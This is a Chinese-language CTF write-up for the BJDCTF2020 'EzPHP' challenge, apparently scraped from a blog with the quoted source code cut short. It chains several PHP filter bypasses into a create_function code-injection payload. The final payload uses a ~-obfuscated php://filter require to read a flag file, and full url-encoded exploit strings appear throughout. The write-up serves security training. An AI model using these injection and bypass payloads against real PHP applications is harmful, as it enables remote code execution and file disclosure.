[BJDCTF2020]EzPHP(代码审计&create_function的使用)
我们查看源码,发现一串base32加密的字符串
我们解码,得到一个文件
我们访问这个文件,发现一长串代码
1 | <?php |
这是要进行代码审计啊
我们一层一层解析
1.$_SERVER[‘QUERY_STRING’]绕过
1 | if($_SERVER) { |
$_SERVER[‘QUERY_STRING’]得到?之后的输入东西
**$_SERVER[‘QUERY_STRING’]**函数不对传入的东西进行url编码,所以把payload进行url编码之后传入即可绕过
2.正则匹配绕过
1 | if (!preg_match('/http|https/i', $_GET['file'])) { |
debu的第一行要能匹配aqua_is_cute,但又不能等于aqua_is_cute,我们用换行符%0a进行绕过
1 | debu=aqua_is_cute%0a |
‘/^$/‘正则匹配,^表示开头,$表示结尾,现在需要绕过preg_match,所以在dedu=aqua_is_cute末尾加上换行来代替(也就是加上%0a)
3.$_REQUEST绕过
1 | if($_REQUEST) { |
1 | $_POST优先级高于$_GET,所以用POST传入的值会把$_GET中的值覆盖掉 |
1和2中可知,需要用file和debu传值,所以此处用POST传入file=xxx&debu=xxx可以绕过(xxx可以是任何不为0的数)
4.file_get_contents绕过
1 | if (file_get_contents($file) !== 'debu_debu_aqua') |
我们使用data伪协议
1 | file=data://text/plain,debu_debu_aqua |
5.sha1函数、比较类型数组绕过
1 | if ( sha1($shana) === sha1($passwd) && $shana != $passwd ) |
sha1函数的参数是数组是,会返回false,所以可以用
1 | shana[]=0&passwd[]=1 |
则所有的payload为
1 | file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=0&passwd[]=1 |
url编码之后
1 | file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2 |
成功绕过前面5层
6.create_function运用
1 | if(preg_match('/^[a-z0-9]*$/isD', $code) || |
1 | $code`和`$arg`可控,利用`$code('',$arg)`进行`create_function注入 |
create_function注入详解:https://www.cnblogs.com/-qing-/p/10816089.html
6.1由第5步中可见,需要通过flag[arg]=xxx,flag[code]=xxx传参
6.2利用create_function,对于
1 | $aaa = create_function('$a, $b', 'return $a+$b;'); |
相当于
1 | function aaa($a, $b){ |
对于
1 | $code=return $a+$b;}fction();// |
相当于
1 | function aaa($a, $b){ |
应用到本题,可以得到
1 | flag[code]=create_function&flag[arg]=}fction();// |
6.3由于包含了flag.php这个文件,为了查看所以用到两个函数
var_dump:PHP: var_dump - Manual
**get_defined_vars()**:PHP get_defined_vars() 函数 | PHP 教程 - 码农教程
可以利用**get_defined_vars()
**将所有变量和值都进行输出
所以构造payload:
1 | flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());// |
6.4字母和数字都被ban了,所以跟前面一样,用url编码一下
1 | file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());// |
6.5 提示了flag在rea1fl4g.php里,所以考虑用require函数,php//filter读取文件
1 | require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php) |
url编码之后
1 | require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f) |
利用异或或者~进行取反操作
1 | require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) |
替换上一步中的var_dump(get_defined_vars())
最终最终的payload
1 | /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) |
解码得到flag